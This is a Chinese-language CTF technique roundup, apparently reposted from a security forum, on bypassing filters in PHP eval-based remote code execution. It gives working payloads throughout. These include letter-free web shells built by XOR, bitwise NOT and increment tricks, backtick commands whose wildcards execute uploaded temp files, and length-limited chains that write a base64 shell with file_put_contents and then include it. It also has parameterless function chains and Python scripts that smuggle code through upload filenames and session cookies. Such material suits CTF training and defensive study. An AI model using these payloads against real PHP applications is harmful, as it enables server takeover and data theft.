ctf中常见php rce绕过总结
2020-10-15 11:20:09 Author: xz.aliyun.com(查看原文) 阅读量:700 收藏

只是总结一些常见的姿势,大佬轻喷

无字母的情况

一个经典的示例

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

在eval中执行,相当于用传入内容创建了一个新的php文件,也就是说<?= 这些也是可以用的

在没有字母的情况下,php5可以通过

  1. $_($__);

这个$_,会被php按照callable $callback ,处理,字符串会寻找对应的函数执行,数组会调对应的类方法等,

但是这种方式需要变量符$

  1. 在php7中,新增了('phpinfo')();执行命令的方式

  2. 也可以通过`` 直接执行系统命令

我们可以通过其他的方式得到字母,,通过变量或者() 'phpinfo')();进行执行

数字通过类型转换和自增很容易得到

-([].[])  //0 
+$_  //0
$_ = +!-([] . [])  //1
++$_                 //2

所以现在的问题是,我们怎么得到字母

在进行运算时,比如字符链接. 操作,会把运算对象强转字符串,我们可以通过强转操作得到部分字母,但是要构造webshell还不够,所以通过下面的姿势得到

位运算

php字符串是按照单字节存储的,并且可以按单字节进行位运算的

我们可以通过位运算,把非字母数字的字符,转成字母数字

  • 取反

  • 异或

生成指定异或的脚本

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);      \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>
简单的示例

@$_++; //1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  // _POST 
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);


$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);

如果碰到ascii限制比较多的题目,也可以通过

((1 / 0) . Φ){1}
((9999999999999999999 ** 99999999999999999) . Φ)

得到其他字符,然后在进行位运算,生成需要的字符

可以参考RCTF2020 calc

自增运算符

在处理字符变量的算数运算时,自曾操作会'a'++ => 'b''b'++ => 'c',所以我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符

那么,我们怎么得到第一个字母呢

  • 方法一
var_dump(([] . Φ)[0]);  //A
var_dump(([] . Φ)[3]);  //a

利用数组强转字符串会变为Array 得到需要的字符

示例

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
$_POST[__] = 'system';
$_POST[_] = 'dir';
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$_[__]($_[_]);   //$_POST[__]($POST[_])

反引号使用

如果没有禁止反引号,

是可以直接执行系统命令的

但是同样,反引号内没有字母,这样也有两个姿势

  1. 利用php上传文件会生成tmp文件的特性,在使用shell的通配符执行上传的文件
  2. 利用``内$会解析的特性,通过位运算,执行系统命令

  3. 姿势一:

`. /???/????????[@-[]`

直接传入,请求的同时上传一个恶意的shell文件,

最后的[@-[]表示ASCII在@和[之间的字符,也就是大写字母,所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件。由于PHP生成的tmp文件最后一位是随机的大小写字母,所以我们可能需要多试几次.

当然这样是没有回显的,我们可以通过<?=标签获得回显

最终payload如下

?><?=`. /???/????????[@-[]`;?>

一些其他的姿势

code=?><?=`/???/??? ????.???`?>
匹配/bin/cat flag.php 直接输出flag
  • 姿势二
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

利用位运算生成$_GET并且先被解析,我们只要GET传参%a0即可执行系统命令。

有字母的情况

一个简单的示例

<?php

$param = $_REQUEST['param'];
eval($param);;

当然ctf的情况不会这么简单,肯定会有一些限制,

比如

限制长度

$param = $_REQUEST['param'];
if (
strlen($param) < 17 &&
stripos($param, 'eval') === false &&
stripos($param, 'assert') === false
) {
eval($param);
}

这种情况下,也有一些payload可用,

大概思路是利用外部get引入payload,进行执行

或者想办法写入一个文件,进行包含操作

姿势一:

`$_GET[1]`

是php的执行运算符,同shell_exec("") ,如果disable_function ban了shell_exec ,那么也无法使用,注意 是会先按照php 的"规则,来处理里面的输入的,也就是说,里面的php变量会被解析,

相似姿势exec($_GET[1])

姿势二:

include$_GET[1]

会包含执行$_GET[1]地址中的内容

然后就可以参考LFI/RFI的姿势进行rce

RFI巧用WebDAV绕过URL包含限制Getshell,

LFI 绕过 Session 包含限制 Getshell

也可以利用现在长度的命令执行多次调用

index.php?1=file_put_contents&param=$_GET[1](N,P,8)
index.php?1=file_put_contents&param=$_GET[1](N,D,8)
...
index.php?1=php://filter/read=convert.base64-encode/resource=N&parmas=include$_GET[1]

8是file_get_contents,的flag位FILE_APPEND,既写入文件存在就附加的 flag定义的值,通过多次调用写文件操作,把shell的base64写入,然后包含执行

姿势三:

param传入usort(...$_GET);
然后执行任意命令
http://127.0.0.1:60777/?1[]=}eval($_POST[_]);/*&1[]=&2=create_function

参考资料

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://xz.aliyun.com/t/8107#toc-0
https://xz.aliyun.com/t/7742#toc-0
https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/
https://www.anquanke.com/post/id/207492

无参数命令执行

基本形式,

<?php

$code = $_GET['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}

[a-z]+\((?R)?\)
利用这个正则对输入进行匹配,这个正则需要满足a(b())这种形式.因为判断是是替换为空后===;

所以也可以是if(a(b()))c(d())这种形式

基本思路还是利用利用超全局变量进行bypass,rce

或者利用函数得到文件名,直接读flag文件

方法一:

利用外部变量引入

getallheaders()     获取全部 HTTP 请求头信息, 是下方函数的别名
apache_request_headers  获取全部 HTTP 请求头信息
这两个函数只适用于apache服务器

get_defined_vars() 函数返回由所有已定义变量所组成的数组。包括$_GET,$_POST,$FILE

session_id() 可以用来获取/设置 当前会话 ID,session_id cookie可控

利用姿势

code=eval(pos(getallheaders())); //在第一个
code=eval(end(getallheaders())); //在最后一个
eval(array_rand(array_flip(getallheaders()))); //爆破位置
eval(end(current(get_defined_vars())));  //利用$_GET传参
# 利用$_FILE
import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('')
}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content
# 利用session_id

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo '1';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

方法二: 直接读文件

var_dump(scandir(dirname(chdir(dirname(getcwd())))));  //列目录

var_dump(scandir(dirname(chdir(dirname(current(localeconv()))))));  //列目录

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));  //读文件

参考资料

PHP Parametric Function RCE

ByteCTF一道题的分析与学习PHP无参数函数的利用

ByteCTF 2019 WriteUp Kn0ck

简析GXY_CTF “禁止套娃”无参数RCE

php无参数执行命令

 一些补充的trick

  • 过滤了;

如果语句是这种形式<?php phpinfo()?>,是可以不用;的,

而在eval中,是可以使用多个?>的,所以

<?=$_=[].''?>
<?=$_=[].''?>

可以绕过;的限制

  • php7 执行任意代码的函数

在php7开始,assert改语言结构了,不能在动态拼接,执行

可以使用

create_function('$arg){}var_dump(1);//', '');
create_function('', '}var_dump(1);/*');
create_function('', 'phpinfo()')();  //限php7

替代

  • php 变量名

php的变量名是没有仅下划线和数字字母的限制的,

甚至0字节都可以作为变量名,

在构造shell为了方便显示我们可以使用https://graphemica.com/unicode/characters/page/4一些可显示的特殊

Unicode码,作为不同的变量,方便构造

/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ#b?><?=$Ψ=++$Χ#c?><?=$Ω=++$Ψ#d?><?=$Ϊ=++$Ω#e?><?=$Ϋ=++$Ϊ#f?><?=$ά=++$Ϋ#g?><?=$έ=++$ά#h?><?=$ή=++$έ#i?><?=$ί=++$ή#j?><?=$ΰ=++$ί#k?><?=$α=++$ΰ#l?><?=$β=++$α#m?><?=$γ=++$β#n?><?=$δ=++$γ#o?><?=$ε=++$δ#p?><?=$ζ=++$ε#q?><?=$η=++$ζ#r?><?=$θ=++$η#s?><?=$ι=++$θ#t?><?=$κ=++$ι#u?><?=$λ=++$κ#v?><?=$μ=++$λ#w?><?=$ν=++$μ#x?><?=$ξ=++$ν#y?><?=$ο=++$ξ#z?><?=$ο=([].Φ)[![]+![]+![]]#a?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>

文章来源: http://xz.aliyun.com/t/8354
如有侵权请联系:admin#unsafe.sh